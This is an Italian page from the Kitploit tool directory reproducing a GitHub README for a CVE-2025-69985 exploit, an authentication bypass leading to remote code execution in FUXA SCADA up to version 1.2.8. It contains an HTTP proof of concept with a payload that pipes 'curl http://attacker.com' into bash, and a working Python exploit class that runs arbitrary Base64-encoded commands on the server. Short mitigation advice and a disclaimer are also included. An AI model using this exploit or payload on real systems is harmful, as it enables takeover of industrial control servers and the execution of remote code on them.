Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-69985 — Exploit PoC per CVE-2025-69985: bypass dell'autenticazione che porta a RCE in FUXA SCADA ≤1.2.8. Include un exploit Python modulare con shell interattiva, codifica del payload in Base64 e supporto proxy per penetration testing. | Kitploit
Strumenti/GitHubGitHub/kaleth4/cve-2025-69985
Autenticazione e AutorizzazioneAnalisi delle VulnerabilitàExploitSicurezza SCADA/ICSSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubkaleth4/cve-2025-69985

CVE-2025-69985

Exploit PoC per CVE-2025-69985: bypass dell'autenticazione che porta a RCE in FUXA SCADA ≤1.2.8. Include un exploit Python modulare con shell interattiva, codifica del payload in Base64 e supporto proxy per penetration testing.

205 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

CVE-2025-69985: Exploit per Autenticazione Bypass a RCE in FUXA ≤1.2.8


📌 Descrizione Generale

Questo repository contiene una Proof of Concept (PoC) e documentazione tecnica dettagliata sulla vulnerabilità CVE-2025-69985, che colpisce FUXA (versioni ≤1.2.8). La vulnerabilità consente a un attaccante non autenticato di eseguire comandi arbitrari sul server (RCE) tramite un bypass di autenticazione nel middleware dell'applicazione.

A differenza delle vulnerabilità tradizionali come i buffer overflow in Windows, questo difetto risiede in una debolezza logica nel middleware, dove il server confonde richieste esterne con interne a causa di una validazione errata dell'intestazione Referer.


🚨 Riepilogo Tecnico

CVECVE-2025-69985
TipoAuthentication Bypass via Alternate Path (CWE-288)
ImpattoRemote Code Execution (RCE)
Gravità9.8 CRITICO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Versioni AffetteFUXA ≤ 1.2.8
PiattaformaNode.js
ProdottoFUXA (SCADA/HMI basato su web)

🔍 Analisi del Vettore di Attacco

1️⃣ Autenticazione Bypass (Auth Bypass)

Il middleware di FUXA si fida ciecamente dell'intestazione Referer. Se un attaccante invia una richiesta con:

Referer: http://<target-ip>/

Il server assume che la richiesta sia interna e salta la verifica del token JWT, consentendo l'accesso a endpoint protetti senza autenticazione.


2️⃣ Esecuzione di Codice Remoto (RCE)

Una volta elusa l'autenticazione, l'attaccante può interagire con l'endpoint /api/runscript, progettato per eseguire script Node.js. Inviando un payload JSON malevolo, si ottiene controllo totale sul processo del server.


🛠️ Proof of Concept (PoC)

📌 Esempio di Sfruttamento (Richiesta HTTP)

POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json

{
    "script": "require('child_process').exec('curl http://attacker.com | bash')",
    "parameters": {}
}

⚠️ Nota: Questo esempio è illustrativo. Non eseguire in ambienti di produzione senza autorizzazione.


💻 Sistemi Affetti

ProdottoVersioniPiattaforma
FUXA≤ 1.2.8Node.js

🛡️ Mitigazione e Soluzioni

✅ Soluzioni Raccomandate

  1. Aggiornamento Immediato Aggiornare FUXA a una versione superiore alla 1.2.8 (patch ufficiale).

  2. Patch Manuale Modificare server/api/jwt-helper.js per eliminare la fiducia nell'intestazione Referer come metodo di autenticazione.

  3. Implementazione di WAF Configurare un Web Application Firewall per bloccare richieste all'endpoint /api/runscript che non provengano da reti amministrative note, indipendentemente dall'intestazione Referer.


⚠️ Disclaimer

🔴 Questo materiale ha esclusivamente scopi educativi e di audit di sicurezza. 🔴 L'uso di queste tecniche contro sistemi senza autorizzazione esplicita è un reato. 🔴 Gli autori non si assumono responsabilità per l'uso improprio di queste informazioni.


📚 Riferimenti

  • NVD NIST - CVE-2025-69985
  • FUXA GitHub Repository

🚀 Exploit "Pro" Refattorizzato (Python)

Caratteristiche avanzate che portano questo exploit a livello professionale (stile Exploit-DB o strumenti Red Team):

✨ Miglioramenti Chiave

CaratteristicaDescrizione
🔹 Gestione Dinamica della ShellModo --interactive (-i) che apre un REPL interattivo per eseguire comandi multipli.
🔹 Rilevamento e FingerprintingVerifica se l'endpoint /api/runscript esiste prima di lanciare l'attacco (check_vulnerable()).
🔹 Payload MiglioratoComando codificato in Base64 per evitare problemi di escape dei caratteri (&, >, ", etc.).
🔹 Robustezza di ReteSupporto per User-Agent casuali e proxy (utile per Burp Suite o debugging).
🔹 OOP (Programmazione Orientata agli Oggetti)Classe FuxaExploit modulare, riutilizzabile ed estensibile.

📄 Codice dell'Exploit (fuxa-exploit.py)

import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional

# Configurazione estetica
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Logger:
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    RED = '\033[91m'
    BLUE = '\033[94m'
    RESET = '\033[0m'

    @staticmethod
    def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
    @staticmethod
    def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
    @staticmethod
    def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
    @staticmethod
    def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")

class FuxaExploit:
    def __init__(self, base_url: str, proxy: Optional[str] = None):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
            "Referer": f"{self.base_url}/fuxa"
        })

    def check_vulnerable(self) -> bool:
        """Verifica se l'endpoint esiste prima di attaccare."""
        try:
            r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
            return r.status_code in [401, 405, 200] # Dipende dalla configurazione del WAF/App
        except Exception:
            return False

    def execute(self, command: str) -> str:
        # Payload migliorato: Codifica in Base64 per evitare di rompere il JSON
        b64_cmd = base64.b64encode(command.encode()).decode()

        js_code = (
            f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
            "const r = require('child_process').execSync(c);"
            "return r.toString();"
        )

        payload = {
            "params": {
                "script": {
                    "id": "exp", "name": "exp",
                    "code": js_code, "test": js_code
                }
            }
        }

        try:
            r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
            return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
        except Exception as e:
            return f"Exception: {str(e)}"
Scarica lo strumento